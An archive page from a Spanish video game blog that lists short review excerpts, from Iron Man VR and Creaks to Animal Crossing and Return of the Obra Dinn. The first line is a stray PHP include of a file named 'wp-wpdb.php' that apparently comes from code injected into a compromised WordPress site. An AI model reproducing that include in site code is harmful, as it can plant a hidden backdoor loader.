if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis – La Fortaleza de LeChuck

Análisis Iron-Man VR

Los super-héroes están de moda, pero hay algunos de ellos que destacan sobre todos los demás, como lo es Spider-Man o el señor Stark, conocido por desarrollar el traje que él mismo viste como Iron-Man. El Sr. Stark también se apunta a los videojuegos utilizando las propiedades únicas de la realidad virtual en Marvel’s Iron… Seguir leyendo Análisis Iron-Man VR

Publicada el
Categorizado como Análisis

Análisis Creaks

Los aventureros natos reconocen rápidamente el nombre de Amanita Design. Seguramente porque disfrutaron de cada segundo de su bonita aventura gráfica Machinarium. A decir verdad, su nuevo título no es un point and click, ya que pone el género en barbecho para tomar el desvío hacia los plataformas/puzles 2D, pero con una calidad artística de… Seguir leyendo Análisis Creaks

Publicada el
Categorizado como Análisis Etiquetado como

The Last of Us 2, un análisis narrativo de la obra

Los estudios de videojuegos se enfrentan actualmente al complejo desafío de mantener pegado al jugador al asiento. La competencia es salvaje y continuamente tienen que ingeniárselas para crear contenido novedoso y excitante. Recientes datos indican que solo el 50% de jugadores consiguen llegar al final de un juego de corte narrativo. Y el número cae… Seguir leyendo The Last of Us 2, un análisis narrativo de la obra

Análisis VirtuaVerse

Los futuros distópicos tienen un atractivo enigmático que provoca que nunca nos cansemos de ellos. En los 80, Blade Runner sentó cátedra con una ambientación auténtica y secuencias que forman parte de nuestro recuerdo. Desde entonces, muchas propuestas audivisuales han tomado de base aquel mundo caótico del mañana. Los aventureros recordamos también la popular aventura… Seguir leyendo Análisis VirtuaVerse

A Plague Tale: Innocence, viaje al infierno

Nos encontramos en un periodo de la industria en la que se persigue el mundo abierto y el backtraking con el fin de alargar la duración de las producciones. Tras pasar infinidad de horas pateando por mundos abiertos, disponer de un juego «pasillero» sin más pretensión que contar una historia es casi un regalo. A… Seguir leyendo A Plague Tale: Innocence, viaje al infierno

Análisis de Streets of Rage 4, las calles son nuestras

Los beat ‘em up tuvieron su época dorada durante los 80 y 90 con multitud de títulos que hicieron las delicias de los jugadores. En aquellos tiempos nos divertíamos dando mamporros por diferentes niveles repletos de enemigos hasta llegar al boss de fase. Recuerdo con cariño Target Renegade 2, Final Fight, Golden Axe y, sobre… Seguir leyendo Análisis de Streets of Rage 4, las calles son nuestras

Animal Crossing New Horizons, momentos de evasión

Son días extraños. El confinamiento, la distancia social y la crisis han pasado a formar parte de nuestra jornada. A veces nuestra cabeza emite reminiscencias de escenarios propios de cintas de serie B. Sin embargo, podemos sentirnos afortunados, ya que el ocio de nuestro hogar es el salvoconducto para mantener la cordura en este periodo… Seguir leyendo Animal Crossing New Horizons, momentos de evasión

Análisis Dreams

Meda Molecule es la base de creatividad de PlayStation. Desde el primer Little Big Planet para PlayStation 3, sus ideas estaban claras: dar rienda suelta a la imaginación de sus desarrolladores y sus jugadores con un juego para todos los públicos, campo a cubrir históricamente en la rama de videojuegos de Sony. Tras dos títulos… Seguir leyendo Análisis Dreams

Publicada el
Categorizado como Análisis

Pokémon Espada y Escudo, una oportunidad perdida

Cuando una franquicia desembarca en otro sistema, siempre se genera gran expectación alrededor. En el caso de Pokémon, tras años en la pequeña portátil, por fin iba a volar a Switch. Los aficionados degustamos las imágenes prelanzamiento con furor, esperando que el producto final cumpliera con nuestros deseos a nivel gráfico y jugable. Sin embargo,… Seguir leyendo Pokémon Espada y Escudo, una oportunidad perdida

Return of the Obra Dinn, la aventura de investigación que debes jugar

Return of the Obra Dinn es el último juego de Lucas Pope, el creador del popular Papers, Please, aquel adictivo juego donde éramos un empleado de inmigración que valoraba la entrada de inmigrantes en un ficticio país. En el título, el creador revolvió la mente del jugador poniendo sobre la mesa diferentes motivos políticos y… Seguir leyendo Return of the Obra Dinn, la aventura de investigación que debes jugar